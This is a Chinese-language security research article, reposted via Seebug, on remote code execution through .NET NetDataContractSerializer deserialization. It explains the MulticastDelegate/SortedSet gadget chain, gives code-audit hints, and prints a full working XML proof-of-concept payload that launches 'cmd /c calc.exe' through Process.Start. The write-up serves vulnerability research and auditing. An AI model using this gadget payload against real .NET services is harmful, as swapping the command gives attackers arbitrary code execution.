原文來自安全客,作者:Ivan1ee@360云影實驗室
原文鏈接:https://www.anquanke.com/post/id/176226

相關閱讀:

0x00 前言

NetDataContractSerializer和DataContractSerializer一樣用于序列化和反序列化Windows Communication Foundation (WCF) 消息中發送的數據。兩者 之間存在一個重要區別:NetDataContractSerializer 包含了CLR,通過CLR類型添加額外信息并保存引用來支持類型精確,而 DataContractSerializer 則不包含。 因此,只有在序列化和反序列化端使用相同的 CLR 類型時,才能使用 NetDataContractSerializer。若要序列化對象使用 WriteObject或者Serialize方法, 若要反序列化 XML流使用 ReadObject或者Deserialize方法。在某些場景下讀取了惡意的XML流就會造成反序列化漏洞,從而實現遠程RCE攻擊,本文筆者從原理和代碼審計的視角做了相關介紹和復現。

0x01 NetDataContractSerializer序列化

使用WriteObject或者Serialize可以非常方便的實現.NET對象與XML數據之間的轉化,注意NetDataContractSerializer包含了程序集的名字和被序列化類型的類型。這些額外信息可以用來將XML反序列化成特殊類型,允許相同類型可以在客戶端和服務端同時使用。另外的信息是z:Id 屬性在不同的元素上意義是不同的。這個用來處理引用類型以及當XML被反序列化時是否引用可以保留,最后的結論是這個輸出相比DataContractSerializer的輸出包含了更多信息。下面通過一個實例來說明問題,首先定義TestClass對象

img

定義了三個成員,并實現了一個靜態方法ClassMethod啟動進程。 序列化通過創建對象實例分別給成員賦值

img

筆者使用Serialize得到序列化TestClass類后的xml數據

<TestClass z:Id="1" z:Type="WpfApp1.TestClass" z:Assembly="WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><age>18</age><classname z:Id="2">360</classname><name z:Id="3">Ivan1ee</name></TestClass>

0x02 NetDataContractSerializer反序列化

2.1、反序列化用法

NetDataContractSerializer類反序列過程是將XML流轉換為對象,通過創建一個新對象的方式調用ReadObject多個重載方法或Serialize方法實現的,查看定義得知繼承自XmlObjectSerializer抽象類、IFormatter接口,

img

NetDataContractSerializer類實現了XmlObjectSerializer抽象類中的WriteObject、ReadObject方法,也實現了IFormatter中定義的方法。筆者通過創建新對象的方式調用Deserialize方法實現的具體實現代碼可參考以下

img

其實在Deserialize方法內也是調用了ReadObject方法反序列化的

img

反序列化后得到對象的屬性,打印輸出當前成員Name的值。

img

2.2、攻擊向量—MulticastDelegate

多路廣播委托(MulticastDelegate)繼承自 Delegate,其調用列表中可以擁有多個元素的委托,實際上所有委托類型都派生自MulticastDelegate。MulticastDelegate類的_invocationList字段在構造委托鏈時會引用委托數組,但為了取得對委托鏈更多的控制就得使用GetInvocationList方法,它是具有一個帶有鏈接的委托列表,在對委托實例進行調用的時候,將按列表中的委托順序進行同步調用,那么如何將calc.exe添加到GetInvocationList列表方法?首先先看Comparison<T>類,它用于位于命令空間System.Collections.Generic,定義如下

img

Comparison類返回委托,再使用Delegate或者MulticastDelegate類的公共靜態方法Combine將委托添加到鏈中作為Comparison的類型比較器

img

使用Comparer<T>的靜態方法Create創建比較器,比較器對象在.NET集合類中使用的頻率較多,也具備了定制的反序列化功能,這里選擇SortedSet<T>類,在反序列化的時內部Comparer對象重構了集合的排序。

img

多路廣播委托的調用列表GetInvocationList方法在內部構造并初始化一個數組,讓它的每個元素都引用鏈中的一個委托,然后返回對該數組的引用,下面代碼修改了私有字段_InvocationList并用泛型委托Func返回Process類。

img

最后傳入攻擊載荷后得到完整序列化后的poc,如下

img

0x03 代碼審計視角

3.1、Deserialize

從代碼審計的角度只需找到可控的Path路徑就可以被反序列化,例如以下場景:

img

3.2、ReadObject

img

上面兩種方式都是很常見的,需要重點關注。

0x04 案例復盤

  1. 代碼中實現讀取本地文件內容

    img

  2. 傳遞poc xml,彈出計算器網頁返回200

<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Start</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName><a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c calc.exe</string><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd</string></Items></ArrayOfstring>

最后配上動態圖演示↓↓↓

img

0x05 總結

NetDataContractSerializer序列化功能輸出的信息更多,因為性能等原因不及DataContractSerializer,所以在WCF開發中用的場景并不太多,但是因為它無需傳入類型解析器所以相對來說更容易觸發反序列化漏洞。最后.NET反序列化系列課程筆者會同步到 https://github.com/Ivan1ee/https://ivan1ee.gitbook.io/ ,后續筆者將陸續推出高質量的.NET反序列化漏洞文章,歡迎大伙持續關注,交流,更多的.NET安全和技巧可關注實驗室公眾號。

img


本文經安全客授權發布,轉載請聯系安全客平臺。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/890/